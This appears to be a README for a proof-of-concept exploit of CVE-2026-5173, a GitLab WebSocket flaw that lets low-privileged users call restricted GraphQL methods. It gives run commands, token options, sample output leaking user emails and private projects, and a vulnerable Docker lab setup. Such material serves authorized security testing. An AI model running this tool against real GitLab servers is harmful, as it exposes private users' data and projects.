🦊 CVE-2026-5173: GitLab WebSocket Unauthorized Method Execution PoC

Linux Vulnerability (5) (1)

🛠️ Overview

CVE-2026-5173 allows a low-privileged authenticated attacker to call restricted backend methods through GitLab's WebSocket (/-/cable) endpoint, specifically via the GraphqlChannel.

This can lead to sensitive data exposure (High Confidentiality) and limited unauthorized actions.

Affected Versions

GitLab CE/EE: 16.9.6 to 18.8.8
18.9 before 18.9.5
18.10 before 18.10.3

Patched in: 18.8.9 • 18.9.5 • 18.10.3

⚡ Features

Clean & modern Python 3 PoC
Easy one-command usage: python3 CVE-2026-5173.py http://target:8080
Automatic WebSocket connection + GraphqlChannel subscription
Multiple method enumeration (currentUser, users, projects, etc.)
Support for Personal Access Token
Beautiful colored output
Safe for authorized lab / pentest use only

🚀 Quick Start

1. Clone the repo

git clone https://github.com/0xBlackash/CVE-2026-5173.git
cd CVE-2026-5173

2. Run the PoC

python3 CVE-2026-5173.py http://your-gitlab-lab:8080

With Token (recommended):

python3 CVE-2026-5173.py http://target.com:8080 -t glpat-XXXXXXXXXXXXXXXXXXXX

📸 Screenshots

Example successful output:

[+] CVE-2026-5173 PoC v2 - Target: http://192.168.1.100:8080
[+] WebSocket connected
[+] Subscribed to GraphqlChannel
[*] Testing method: currentUser
[SUCCESS] Possible unauthorized access via 'currentUser'!
    → Response: {"result":{"data":{"currentUser":{"id":"gid://gitlab/User/123","name":"Normal User","email":"[email protected]"}}}...

[*] Testing method: users
[SUCCESS] Possible unauthorized access via 'users'!
    → Response: {"result":{"data":{"users":{"nodes":[ {"id":"gid://gitlab/User/1","name":"Admin","email":"[email protected]"}, ... ]}}}  ← This leaks all users including admins!

[*] Testing method: projects
[SUCCESS] Possible unauthorized access via 'projects'!
    → Response: long list of ALL projects (even private ones you shouldn't see)

📋 Usage

python3 CVE-2026-5173.py <target> [options]

Arguments:
  target                Target URL (e.g. http://gitlab.example.com:8080)
  -t, --token           GitLab Personal Access Token (API scope)
  -h, --help            Show this help message

🧪 Lab Setup (Recommended)

docker run -d --name gitlab-vuln \
  -p 8080:80 -p 2222:22 \
  gitlab/gitlab-ce:18.10.2-ce.0

Then create a normal user and run the PoC.

⚠️ Legal & Disclaimer

This PoC is for educational and authorized testing purposes only.
Use only on systems you own or have explicit permission to test.
Unauthorized use is illegal and against the law.
I am not responsible for any misuse.

📚 References

Official GitLab Patch Release: https://about.gitlab.com/releases/2026/04/08/patch-release-gitlab-18-10-3-released/
CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-5173
GitHub Advisory: https://github.com/advisories/GHSA-5gj7-3j23-w2h2

Made with ❤️ for the security community
Star ⭐ the repo if you found it useful!

_{Disclaimer: No public detailed exploit was available at the time of creation. This is a research-grade PoC.}

CVE-2026-5173

Most Popular